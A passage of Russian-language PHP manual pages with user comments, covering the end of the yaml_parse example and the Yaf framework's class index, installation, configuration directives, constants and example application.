      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["ship-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["product"]=>
  array(2) {
    [0]=>
    array(4) {
      ["sku"]=>
      string(6) "BL394D"
      ["quantity"]=>
      int(4)
      ["description"]=>
      string(10) "Basketball"
      ["price"]=>
      int(450)
    }
    [1]=>
    array(4) {
      ["sku"]=>
      string(7) "BL4438H"
      ["quantity"]=>
      int(1)
      ["description"]=>
      string(10) "Super Hoop"
      ["price"]=>
      int(2392)
    }
  }
  ["tax"]=>
  float(251.42)
  ["total"]=>
  float(4443.52)
  ["comments"]=>
  string(68) "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338."
}

Примечания

Внимание

Обрабатывать непроверенный пользовательский ввод, в случае когда для узлов YAML, использующих тег !php/object, разрешено использование функции unserialize(), крайне опасно. Это поведение можно отключить с помощью ini-настройки yaml.decode_php.

Смотрите также

  • yaml_parse_file() - Разбирает YAML-поток из файла
  • yaml_parse_url() - Разбирает YAML-поток из URL
  • yaml_emit() - Возвращает YAML-представление значения

User Contributed Notes

Zalmoksis 06-Feb-2019 01:15
It seams the YAML standard version here is the 1.1 and not the (1.2 released in 2009), so all of the following values: y, Y, yes, Yes, YES, n, N, no, No, NO, true, True, TRUE, false, False, FALSE, on, On, ON, off, Off, OFF are confusingly at times interpreted as booleans.
laura dot dean at mooneleaf dot com 30-Oct-2016 02:19
When entering the string through a form, I had to first use utf8_decode on the input before using yaml_parse or else I got a cryptic error message --

Warning: yaml_parse(): reading error encountered during parsing: control characters are not allowed (line 1, column 1)

-- even though the special character was buried deep in the file.
alpacagm at gmail dot com 11-Jan-2012 04:32
Simple usage example of interpreting custom tags:
<?php
$data=
"#yaml
---
data: !mytag bar test
...
";

function callback($value){
  return str_replace('bar','baz',$value);
}
$cnt;
$array=yaml_parse($data,0,$cnt,array('!mytag'=>'callback'));

print_r($array['data']);
?>
output:
Array
(
   [data] => baz test
)
note, there is a related bug in version 1.0.1 (see tracker)


Yet Another Framework

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Конфигурация приложения
  • Yaf_Application — Класс Yaf_Application
    • Yaf_Application::app — Извлечь экземпляр приложения
    • Yaf_Application::bootstrap — Вызвать bootstrap
    • Yaf_Application::clearLastError — Очистка информации по последней ошибке
    • Yaf_Application::__construct — Конструктор класса Yaf_Application
    • Yaf_Application::__destruct — Деструктор Yaf_Application
    • Yaf_Application::environ — Получить значение окружения
    • Yaf_Application::execute — Запустить callback-функцию
    • Yaf_Application::getAppDirectory — Получить директорию приложения
    • Yaf_Application::getConfig — Получить экземпляр класса конфигурации
    • Yaf_Application::getDispatcher — Получить экземпляр класса Yaf_Dispatcher
    • Yaf_Application::getLastErrorMsg — Получить последнее сообщение об ошибке
    • Yaf_Application::getLastErrorNo — Получить код последней ошибки
    • Yaf_Application::getModules — Получить имена заявленных модулей
    • Yaf_Application::run — Запустить Yaf_Application
    • Yaf_Application::setAppDirectory — Изменить директорию приложения
  • Yaf_Bootstrap_Abstract — Класс Yaf_Bootstrap_Abstract
  • Yaf_Dispatcher — Класс Yaf_Dispatcher
    • Yaf_Dispatcher::autoRender — Включает/выключает авторендеринг
    • Yaf_Dispatcher::catchException — Включает/выключает перехват исключений
    • Yaf_Dispatcher::__construct — Конструктор класса Yaf_Dispatcher
    • Yaf_Dispatcher::disableView — Отключает механизм просмотра
    • Yaf_Dispatcher::dispatch — Отправляет запрос
    • Yaf_Dispatcher::enableView — Включает механизм просмотра
    • Yaf_Dispatcher::flushInstantly — Включает/выключает мгновенную очистку
    • Yaf_Dispatcher::getApplication — Получает приложение
    • Yaf_Dispatcher::getDefaultAction — Получает имя действия по умолчанию
    • Yaf_Dispatcher::getDefaultController — Получает имя контроллера по умолчанию
    • Yaf_Dispatcher::getDefaultModule — Получает имя модуля по умолчанию
    • Yaf_Dispatcher::getInstance — Получает экземпляр диспетчера
    • Yaf_Dispatcher::getRequest — Получает экземпляр запроса
    • Yaf_Dispatcher::getRouter — Получает экземпляр маршрутизатора
    • Yaf_Dispatcher::initView — Инициализирует представление и возвращает его
    • Yaf_Dispatcher::registerPlugin — Регистрирует плагин
    • Yaf_Dispatcher::returnResponse — Назначение returnResponse
    • Yaf_Dispatcher::setDefaultAction — Изменяет имя действия по умолчанию
    • Yaf_Dispatcher::setDefaultController — Изменяет имя контроллера по умолчанию
    • Yaf_Dispatcher::setDefaultModule — Изменяет имя модуля по умолчанию
    • Yaf_Dispatcher::setErrorHandler — Устанавливает обработчик ошибок
    • Yaf_Dispatcher::setRequest — Назначение setRequest
    • Yaf_Dispatcher::setView — Устанавливает пользовательский механизм отображения
    • Yaf_Dispatcher::throwException — Включает/выключает выбрасывание исключений
  • Yaf_Config_Abstract — Класс Yaf_Config_Abstract
    • Yaf_Config_Abstract::get — Геттер
    • Yaf_Config_Abstract::readonly — Находит конфигурацию только для чтения
    • Yaf_Config_Abstract::set — Сеттер
    • Yaf_Config_Abstract::toArray — Приведение к массиву
  • Yaf_Config_Ini — Класс Yaf_Config_Ini
    • Yaf_Config_Ini::__construct — Конструктор класса Yaf_Config_Ini
    • Yaf_Config_Ini::count — Подсчитывает все элементы в Yaf_Config.ini
    • Yaf_Config_Ini::current — Получает текущее значение
    • Yaf_Config_Ini::__get — Получает элемент
    • Yaf_Config_Ini::__isset — Определяет, существует ли ключ
    • Yaf_Config_Ini::key — Получает ключ текущего элемента
    • Yaf_Config_Ini::next — Продвигает внутренний указатель
    • Yaf_Config_Ini::offsetExists — Назначение offsetExists
    • Yaf_Config_Ini::offsetGet — Назначение offsetGet
    • Yaf_Config_Ini::offsetSet — Назначение offsetSet
    • Yaf_Config_Ini::offsetUnset — Назначение offsetUnset
    • Yaf_Config_Ini::readonly — Назначение readonly
    • Yaf_Config_Ini::rewind — Назначение rewind
    • Yaf_Config_Ini::__set — Назначение __set
    • Yaf_Config_Ini::toArray — Возвращает конфигурацию как массив PHP
    • Yaf_Config_Ini::valid — Назначение valid
  • Yaf_Config_Simple — Класс Yaf_Config_Simple
    • Yaf_Config_Simple::__construct — Назначение __construct
    • Yaf_Config_Simple::count — Назначение count
    • Yaf_Config_Simple::current — Назначение current
    • Yaf_Config_Simple::__get — Назначение __get
    • Yaf_Config_Simple::__isset — Назначение __isset
    • Yaf_Config_Simple::key — Назначение key
    • Yaf_Config_Simple::next — Назначение next
    • Yaf_Config_Simple::offsetExists — Назначение offsetExists
    • Yaf_Config_Simple::offsetGet — Назначение offsetGet
    • Yaf_Config_Simple::offsetSet — Назначение offsetSet
    • Yaf_Config_Simple::offsetUnset — Назначение offsetUnset
    • Yaf_Config_Simple::readonly — Назначение readonly
    • Yaf_Config_Simple::rewind — Назначение rewind
    • Yaf_Config_Simple::__set — Назначение __set
    • Yaf_Config_Simple::toArray — Возвращает массив PHP
    • Yaf_Config_Simple::valid — Назначение valid
  • Yaf_Controller_Abstract — Класс Yaf_Controller_Abstract
    • Yaf_Controller_Abstract::__construct — Конструктор класса Yaf_Controller_Abstract
    • Yaf_Controller_Abstract::display — Назначение display
    • Yaf_Controller_Abstract::forward — Переходит к другому действию
    • Yaf_Controller_Abstract::getInvokeArg — Назначение getInvokeArg
    • Yaf_Controller_Abstract::getInvokeArgs — Назначение getInvokeArgs
    • Yaf_Controller_Abstract::getModuleName — Получает имя модуля
    • Yaf_Controller_Abstract::getName — Получает своё имя
    • Yaf_Controller_Abstract::getRequest — Получает текущий объект запроса
    • Yaf_Controller_Abstract::getResponse — Получает текущий объект ответа
    • Yaf_Controller_Abstract::getView — Получает движок отображения
    • Yaf_Controller_Abstract::getViewpath — Назначение getViewpath
    • Yaf_Controller_Abstract::init — Инициализатор контроллера
    • Yaf_Controller_Abstract::initView — Назначение initView
    • Yaf_Controller_Abstract::redirect — Перенаправляет на URL
    • Yaf_Controller_Abstract::render — Отображает шаблон представления
    • Yaf_Controller_Abstract::setViewpath — Назначение setViewpath
  • Yaf_Action_Abstract — Класс Yaf_Action_Abstract
    • Yaf_Action_Abstract::execute — Точка входа для Action-классов
    • Yaf_Action_Abstract::getController — Получить объект контроллер
    • Yaf_Action_Abstract::getControllerName — Получает имя контроллера
  • Yaf_View_Interface — Класс Yaf_View_Interface
    • Yaf_View_Interface::assign — Назначает значение для движка отображения
    • Yaf_View_Interface::display — Отрисовывает и выводит шаблон
    • Yaf_View_Interface::getScriptPath — Назначение getScriptPath
    • Yaf_View_Interface::render — Отрисовывает шаблон
    • Yaf_View_Interface::setScriptPath — Назначение setScriptPath
  • Yaf_View_Simple — Класс Yaf_View_Simple
    • Yaf_View_Simple::assign — Назначить значения
    • Yaf_View_Simple::assignRef — Назначение assignRef
    • Yaf_View_Simple::clear — Сбрасывает назначенные значения
    • Yaf_View_Simple::__construct — Конструктор класса Yaf_View_Simple
    • Yaf_View_Simple::display — Отрисовывает и отображает
    • Yaf_View_Simple::eval — Отрисовывает шаблон
    • Yaf_View_Simple::__get — Получает назначенную переменную
    • Yaf_View_Simple::getScriptPath — Получает каталог шаблонов
    • Yaf_View_Simple::__isset — Назначение __isset
    • Yaf_View_Simple::render — Отрисовывает шаблон
    • Yaf_View_Simple::__set — Устанавливает значение для движка
    • Yaf_View_Simple::setScriptPath — Устанавливает каталог шаблонов
  • Yaf_Loader — Класс Yaf_Loader
    • Yaf_Loader::autoload — Назначение autoload
    • Yaf_Loader::clearLocalNamespace — Назначение clearLocalNamespace
    • Yaf_Loader::__construct — Назначение __construct
    • Yaf_Loader::getInstance — Назначение getInstance
    • Yaf_Loader::getLibraryPath — Получает путь к библиотеке
    • Yaf_Loader::getLocalNamespace — Назначение getLocalNamespace
    • Yaf_Loader::getNamespacePath — Получает путь зарегистрированного пространства имён
    • Yaf_Loader::getLocalNamespace — Получает всю информацию о зарегистрированных пространствах имён
    • Yaf_Loader::import — Назначение import
    • Yaf_Loader::isLocalName — Назначение isLocalName
    • Yaf_Loader::registerLocalNamespace — Регистрирует префикс локального класса
    • Yaf_Loader::registerNamespace — Регистрирует пространство имён с путём поиска
    • Yaf_Loader::setLibraryPath — Изменяет путь к библиотеке
  • Yaf_Plugin_Abstract — Класс Yaf_Plugin_Abstract
    • Yaf_Plugin_Abstract::dispatchLoopShutdown — Назначение dispatchLoopShutdown
    • Yaf_Plugin_Abstract::dispatchLoopStartup — Хук перед отправкой цикла
    • Yaf_Plugin_Abstract::postDispatch — Назначение postDispatch
    • Yaf_Plugin_Abstract::preDispatch — Назначение preDispatch
    • Yaf_Plugin_Abstract::preResponse — Назначение preResponse
    • Yaf_Plugin_Abstract::routerShutdown — Назначение routerShutdown
    • Yaf_Plugin_Abstract::routerStartup — Перехватчик RouterStartup
  • Yaf_Registry — Класс Yaf_Registry
    • Yaf_Registry::__construct — Yaf_Registry реализует шаблон проектирования "Одиночка"
    • Yaf_Registry::del — Удаляет элемент из реестра
    • Yaf_Registry::get — Получает элемент из реестра
    • Yaf_Registry::has — Проверяет, существует ли элемент
    • Yaf_Registry::set — Добавляет элемент в реестр
  • Yaf_Request_Abstract — Класс Yaf_Request_Abstract
    • Yaf_Request_Abstract::clearParams — Удаляет все параметры
    • Yaf_Request_Abstract::getActionName — Назначение getActionName
    • Yaf_Request_Abstract::getBaseUri — Назначение getBaseUri
    • Yaf_Request_Abstract::getControllerName — Назначение getControllerName
    • Yaf_Request_Abstract::getEnv — Получает переменную ENV
    • Yaf_Request_Abstract::getException — Назначение getException
    • Yaf_Request_Abstract::getLanguage — Получает предпочтительный язык клиента
    • Yaf_Request_Abstract::getMethod — Получает метод запроса
    • Yaf_Request_Abstract::getModuleName — Назначение getModuleName
    • Yaf_Request_Abstract::getParam — Получает параметр вызова
    • Yaf_Request_Abstract::getParams — Получает все параметры вызова
    • Yaf_Request_Abstract::getRequestUri — Назначение getRequestUri
    • Yaf_Request_Abstract::getServer — Получает переменную SERVER
    • Yaf_Request_Abstract::isCli — Определяет, является ли запрос CLI-запросом
    • Yaf_Request_Abstract::isDispatched — Определяет, отправлен ли запрос
    • Yaf_Request_Abstract::isGet — Определяет, является ли запрос GET-запросом
    • Yaf_Request_Abstract::isHead — Определяет, является ли запрос HEAD-запросом
    • Yaf_Request_Abstract::isOptions — Определяет, является ли запрос OPTIONS-запросом
    • Yaf_Request_Abstract::isPost — Определяет, является ли запрос POST-запросом
    • Yaf_Request_Abstract::isPut — Определяет, является ли запрос PUT-запросом
    • Yaf_Request_Abstract::isRouted — Определяет, был ли запрос направлен
    • Yaf_Request_Abstract::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом
    • Yaf_Request_Abstract::setActionName — Устанавливает имя действия
    • Yaf_Request_Abstract::setBaseUri — Устанавливает базовый URI
    • Yaf_Request_Abstract::setControllerName — Устанавливает имя контроллера
    • Yaf_Request_Abstract::setDispatched — Назначение setDispatched
    • Yaf_Request_Abstract::setModuleName — Устанавливает имя модуля
    • Yaf_Request_Abstract::setParam — Устанавливает параметр вызова для запроса
    • Yaf_Request_Abstract::setRequestUri — Назначение setRequestUri
    • Yaf_Request_Abstract::setRouted — Назначение setRouted
  • Yaf_Request_Http — Класс Yaf_Request_Http
    • Yaf_Request_Http::__construct — Конструктор класса Yaf_Request_Http
    • Yaf_Request_Http::get — Получает переменную от клиента
    • Yaf_Request_Http::getCookie — Получает переменную Cookie
    • Yaf_Request_Http::getFiles — Назначение getFiles
    • Yaf_Request_Http::getPost — Получает переменную POST
    • Yaf_Request_Http::getQuery — Получает параметр запроса
    • Yaf_Request_Http::getRaw — Получает необработанное тело запроса
    • Yaf_Request_Http::getRequest — Назначение getRequest
    • Yaf_Request_Http::isXmlHttpRequest — Определяет, является ли запрос Ajax-запросом
  • Yaf_Request_Simple — Класс Yaf_Request_Simple
    • Yaf_Request_Simple::__construct — Конструктор класса Yaf_Request_Simple
    • Yaf_Request_Simple::get — Назначение get
    • Yaf_Request_Simple::getCookie — Назначение getCookie
    • Yaf_Request_Simple::getFiles — Назначение getFiles
    • Yaf_Request_Simple::getPost — Назначение getPost
    • Yaf_Request_Simple::getQuery — Назначение getQuery
    • Yaf_Request_Simple::getRequest — Назначение getRequest
    • Yaf_Request_Simple::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом
  • Yaf_Response_Abstract — Класс Yaf_Response_Abstract
    • Yaf_Response_Abstract::appendBody — Добавляет содержимое к телу ответа
    • Yaf_Response_Abstract::clearBody — Сбрасывает все существующее тело ответа
    • Yaf_Response_Abstract::clearHeaders — Сбрасывает все установленные заголовки
    • Yaf_Response_Abstract::__construct — Конструктор класса Yaf_Response_Abstract
    • Yaf_Response_Abstract::__destruct — Деструктор класса Yaf_Response_Abstract
    • Yaf_Response_Abstract::getBody — Получает существующее содержимое
    • Yaf_Response_Abstract::getHeader — Назначение getHeader
    • Yaf_Response_Abstract::prependBody — Назначение prependBody
    • Yaf_Response_Abstract::response — Отправляет ответ
    • Yaf_Response_Abstract::setAllHeaders — Назначение setAllHeaders
    • Yaf_Response_Abstract::setBody — Устанавливает содержимое ответа
    • Yaf_Response_Abstract::setHeader — Устанавливает заголовок ответа
    • Yaf_Response_Abstract::setRedirect — Назначение setRedirect
    • Yaf_Response_Abstract::__toString — Получает все тело в виде строки
  • Yaf_Route_Interface — Класс Yaf_Route_Interface
    • Yaf_Route_Interface::assemble — Собирает запрос
    • Yaf_Route_Interface::route — Направление запроса
  • Yaf_Route_Map — Класс Yaf_Route_Map
    • Yaf_Route_Map::assemble — Собирает URL
    • Yaf_Route_Map::__construct — Назначение __construct
    • Yaf_Route_Map::route — Назначение route
  • Yaf_Route_Regex — Класс Yaf_Route_Regex
    • Yaf_Route_Regex::assemble — Сформировать URL-адрес
    • Yaf_Route_Regex::__construct — Конструктор класса Yaf_Route_Regex
    • Yaf_Route_Regex::route — Цель маршрута
  • Yaf_Route_Rewrite — Класс Yaf_Route_Rewrite
    • Yaf_Route_Rewrite::assemble — Собирает URL
    • Yaf_Route_Rewrite::__construct — Конструктор класса Yaf_Route_Rewrite
    • Yaf_Route_Rewrite::route — Назначение route
  • Yaf_Router — Класс Yaf_Router
    • Yaf_Router::addConfig — Добавляет настроенные маршруты в маршрутизатор
    • Yaf_Router::addRoute — Добавляет новый маршрут в маршрутизатор
    • Yaf_Router::__construct — Конструктор класса Yaf_Router
    • Yaf_Router::getCurrentRoute — Получает имя действующего маршрута
    • Yaf_Router::getRoute — Получает маршрут по имени
    • Yaf_Router::getRoutes — Получает зарегистрированные маршруты
    • Yaf_Router::route — Назначение route
  • Yaf_Route_Simple — Класс Yaf_Route_Simple
    • Yaf_Route_Simple::assemble — Собирает URL
    • Yaf_Route_Simple::__construct — Конструктор класса Yaf_Route_Simple
    • Yaf_Route_Simple::route — Направляет запрос
  • Yaf_Route_Static — Класс Yaf_Route_Static
    • Yaf_Route_Static::assemble — Собирает URL
    • Yaf_Route_Static::match — Назначение match
    • Yaf_Route_Static::route — Направляет запрос
  • Yaf_Route_Supervar — Класс Yaf_Route_Supervar
    • Yaf_Route_Supervar::assemble — Собирает URL
    • Yaf_Route_Supervar::__construct — Назначение __construct
    • Yaf_Route_Supervar::route — Назначение route
  • Yaf_Session — Класс Yaf_Session
    • Yaf_Session::__construct — Конструктор класса Yaf_Session
    • Yaf_Session::count — Назначение count
    • Yaf_Session::current — Назначение current
    • Yaf_Session::del — Назначение del
    • Yaf_Session::__get — Назначение __get
    • Yaf_Session::getInstance — Назначение getInstance
    • Yaf_Session::has — Назначение has
    • Yaf_Session::__isset — Назначение __isset
    • Yaf_Session::key — Назначение key
    • Yaf_Session::next — Назначение next
    • Yaf_Session::offsetExists — Назначение offsetExists
    • Yaf_Session::offsetGet — Назначение offsetGet
    • Yaf_Session::offsetSet — Назначение offsetSet
    • Yaf_Session::offsetUnset — Назначение offsetUnset
    • Yaf_Session::rewind — Назначение rewind
    • Yaf_Session::__set — Назначение __set
    • Yaf_Session::start — Назначение start
    • Yaf_Session::__unset — Назначение __unset
    • Yaf_Session::valid — Назначение valid
  • Yaf_Exception — Класс Yaf_Exception
    • Yaf_Exception::__construct — Конструктор класса Yaf_Exception
    • Yaf_Exception::getPrevious — Получить предыдущее исключение
  • Yaf_Exception_TypeError — Класс Yaf_Exception_TypeError
  • Yaf_Exception_StartupError — Класс Yaf_Exception_StartupError
  • Yaf_Exception_DispatchFailed — Класс Yaf_Exception_DispatchFailed
  • Yaf_Exception_RouterFailed — Класс Yaf_Exception_RouterFailed
  • Yaf_Exception_LoadFailed — Класс Yaf_Exception_LoadFailed
  • Yaf_Exception_LoadFailed_Module — Класс Yaf_Exception_LoadFailed_Module
  • Yaf_Exception_LoadFailed_Controller — Класс Yaf_Exception_LoadFailed_Controller
  • Yaf_Exception_LoadFailed_Action — Класс Yaf_Exception_LoadFailed_Action
  • Yaf_Exception_LoadFailed_View — Класс Yaf_Exception_LoadFailed_View

User Contributed Notes

498936940 at qq dot com 20-Sep-2018 12:28
YAF based on the actual case:Hooks?Event?Modules?Plugins?Multiple templates?Multiple languages?SQL Centralized Management...
Support Electric Business Platform?OA?ERP?IaaS?PaaS?SaaS?Blog?Cms...
Common features required by any platform: User?Acl?Menu...

https://github.com/letwang/HookPHP


Введение

Модуль Yet Another Framework (Yaf) является PHP-фреймворком для разработки веб-приложений.

Простой тест производительности Yaf можно найти на » Yaf Performance.

Краткое руководство описано в разделе Учебник.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/yaf.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

Anonymous 04-May-2021 06:56
A new PPA repo has been updated to the latest Yaf.
Available on Ubuntu 18.04, 20.04, 20.10, and 21.04

> sudo add-apt-repository ppa:mikespook/php-yaf
> sudo apt-get update
> sudo apt-get install php-yaf
vick dot qi at yahoo dot com 05-Aug-2016 05:05
PHP 5.4.X-5.6.X should intall yaf version 2.3.4
qbhust at gmail dot com 26-Sep-2015 03:29
Yaf can be installed from source code by:

cd /path/to/yaf-src/
phpize
./configure
make
sudo make install
mikespook at gmail dot com 04-Dec-2013 09:49
Install PHP-YAF to Ubuntu from PPA:

> sudo add-apt-repository ppa:mikespook/php5-yaf
> sudo apt-get update
> sudo apt-get install php5-yaf
alex at corretge dot cat 17-Apr-2013 02:22
Yaf is an PECL extension, thus you can simply install it by:

pecl install yaf


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Yaf
Имя | По умолчанию | Место изменения | Список изменений
yaf.library |  | PHP_INI_ALL |
yaf.action_prefer | 0 | PHP_INI_ALL |
yaf.lowcase_path | 0 | PHP_INI_ALL |
yaf.use_spl_autoload | 0 | PHP_INI_ALL |
yaf.forward_limit | 5 | PHP_INI_ALL |
yaf.name_suffix | 1 | PHP_INI_ALL |
yaf.name_separator |  | PHP_INI_ALL |
yaf.cache_config | 0 | PHP_INI_SYSTEM |
yaf.environ | product | PHP_INI_SYSTEM |
yaf.use_namespace | 0 | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

yaf.library string

Путь к глобальным библиотекам, Yaf_loader будет искать глобальные библиотеки тут.

yaf.action_prefer int

Если в PATH_INFO только одна часть, её следует рассмотреть в качестве контроллера или действия.

Если задана как On, она будет рассматриваться как имя действия (Action).

yaf.lowcase_path int

Рассматривать ли все пути в нижнем регистре при автозагрузке классов.

yaf.use_spl_autoload int

Если задано как On, то, если Yaf_Loader не может найти класс, он вернёт false, тем самым предоставляя возможность вызова другой функции автозагрузки.

Если задано как Off, то, если Yaf_Loader не найдёт класс, он вернёт true и прервёт дальнейшие действия по автозагрузке.

Замечание:

Yaf регистрирует загрузчик классов при создании экземпляра класса Yaf_Application, так что какие-либо другие автозагрузчики, зарегистрированные до инстанциации этого класса, будут запущены до Yaf_Loader::autoload().

Если задано как Off(по умолчанию), Yaf_Loader::autoload() будет всегда возвращать true.

yaf.forward_limit int

Максимальное количество перенаправлений, по умолчанию 5. Это означает, что стек перенаправлений не может быть глубже 5.

Это сделано для предотвращения рекурсии в Yaf_Controller_Abstract::forward().

yaf.name_suffix int

Если задано как On, Yaf_Loader будет идентифицировать по его суффиксу, для определения, является ли он классом MVC.

Если задано как Off, Yaf_Loader будет смотреть на префикс.

yaf.name_separator string

Если не пусто, Yaf_Loader, при идентификации класса, будет искать суффикс учитывая заданный символ как разделитель.

К примеру, если задать равным "_", Yaf_Loader идентифицирует Index_Controller как класс контроллер, а IndexController как обычный класс.

yaf.cache_config int

Если задано как On, и в то же время вы используете конфигурационный ini-файл как параметр Yaf_Application(), то результат компиляции этого ini-файла будет закеширован в процессе PHP.

Замечание:

Yaf проверяет mtime ini-файла и, если значение изменилось с момента последней компиляции, перекомпилирует его.

Внимание

Yaf использует путь к ini-файлу как ключ закешированной записи, из-за этого рекомендуется использовать полные, абсолютные пути, чтобы не произошло конфликта между двумя приложениями, использующими ini-файлы с одинаковыми именами, но разным содержимым.

yaf.environ string

По умолчанию равно "product" и используется Yaf для извлечения нужной секции из ini-файла.

Так что, если параметр равен "product", Yaf будет использовать секцию "product" в ini-файле (первый параметр Yaf_Application) в качестве конфигурации Yaf_Application.

yaf.use_namespace int

Если задано как On, все классы Yaf именуются с использованием пространств имён.

Например:

Yaf_Route_Rewrite => \Yaf\Route\Rewrite
Yaf_Request_Http  => \Yaf\Request\Http
Есть исключения для классов типа Yaf_Controller_Abstract. Последний компонент имени является ключевым словом PHP и не может использоваться в качестве имени класса, так что он будет выглядеть так:
Yaf_Controller_Abstract => \Yaf\Controller_Abstract
Yaf_Route_Static => \Yaf\Route_Static

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

YAF_VERSION (string)
YAF_ENVIRON (string)
YAF_ERR_STARTUP_FAILED (int)
YAF_ERR_ROUTE_FAILED (int)
YAF_ERR_DISPATCH_FAILED (int)
YAF_ERR_AUTOLOAD_FAILED (int)
YAF_ERR_NOTFOUND_MODULE (int)
YAF_ERR_NOTFOUND_CONTROLLER (int)
YAF_ERR_NOTFOUND_ACTION (int)
YAF_ERR_NOTFOUND_VIEW (int)
YAF_ERR_CALL_FAILED (int)
YAF_ERR_TYPE_ERROR (int)

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 03-Apr-2014 07:59
The documentation here is not fully correct.

<?php

    print_r(get_defined_constants());
   die;

?>

Will show basically:

  [PHP_YAF_VERSION] => 2.3.2
    [YAF_ENVIRON] => product
    [YAF_ERR_STARTUP_FAILED] => 512
    [YAF_ERR_ROUTE_FAILED] => 513
    [YAF_ERR_DISPATCH_FAILED] => 514
    [YAF_ERR_AUTOLOAD_FAILED] => 520
    [YAF_ERR_NOTFOUND_MODULE] => 515
    [YAF_ERR_NOTFOUND_CONTROLLER] => 516
    [YAF_ERR_NOTFOUND_ACTION] => 517
    [YAF_ERR_NOTFOUND_VIEW] => 518
    [YAF_ERR_CALL_FAILED] => 519
    [YAF_ERR_TYPE_ERROR] => 521

So use PHP_YAF_VERSION instead of just YAF_VERSION


Примеры

Пример #1 Классический пример каталога для приложения

- index.php
- .htaccess
+ conf
  |- application.ini //Файл настроек
- application/
  - Bootstrap.php
  + controllers
     - Index.php //Контроллер по умолчанию
  + views
     |+ index
        - index.phtml //Шаблон вывода для действия по умолчанию
  + modules
  - library
  - models
  - plugins

Пример #2 Введение

index.php единственная точка входа в приложение, все запросы вы должны направлять через него (например, при помощи .htaccess в Apache + php_mod)

<?php
define("APPLICATION_PATH", dirname(__FILE__));

$app = new Yaf_Application(APPLICATION_PATH . "/conf/application.ini");
$app->bootstrap() //Выполнение методов, опрделенных в Bootstrap.php
->run();
?>

Пример #3 Правила перенаправления

#для apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php

#для nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php$1 last;
  }
}

#для lighttpd
$HTTP["host"] =~ "(www.)?domain.com$" {
  url.rewrite = (
     "^/(.+)/?$"  => "/index.php/$1",
  )
}

Пример #4 Конфигурация приложения

[yaf]
;APPLICATION_PATH должна быть определена в index.php
application.directory=APPLICATION_PATH "/application/"

;product секция должна наследовать yaf
[product:yaf]
foo=bar

Пример #5 Контроллер по умолчанию

<?php
class IndexController extends Yaf_Controller_Abstract {
/* действие по умолчанию */
public function indexAction() {
$this->_view->word = "hello world";
//или
// $this->getView()->word = "hello world";
}
}
?>

Пример #6 Шаблон вывода по умолчанию

<html>
<head>
<title>Hello World</title>
</head>
<body>
<?php echo $word;?>
 </body>
</html>

Пример #7 Запуск приложения

Результатом выполнения данного примера будет что-то подобное:

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   hello world
 </body>
</html>

Замечание:

Пример выше можно также создать с помощью генератора кода Yaf который можно найти здесь yaf@github.

User Contributed Notes

498936940 at qq dot com 07-Aug-2021 07:43
PHP8 Yaf3.3.3 ?????? ??Nginx???:

rewrite or internal redirection cycle while processing "/index.phpindex.phpindex.......

??:
Example #3 Rewrite rule

#for nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php?$1 last;
  }
}

?????,? ??1? ???
YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx??????????

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

???????????????

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

?index.php?,?query string "_path_info" ??$_SERVER????
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //????,yaf??PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx??????????

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

???????????????

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

?index.php?,?query string "_path_info" ??$_SERVER????
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //????,yaf??PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
498936940 at qq dot com 13-Jul-2018 05:42
YAF based on the actual case:Hooks?Event?Modules?Plugins?Multiple templates?Multiple languages?SQL Centralized Management...
Support Electric Business Platform?OA?ERP?IaaS?PaaS?SaaS?Blog?Cms...
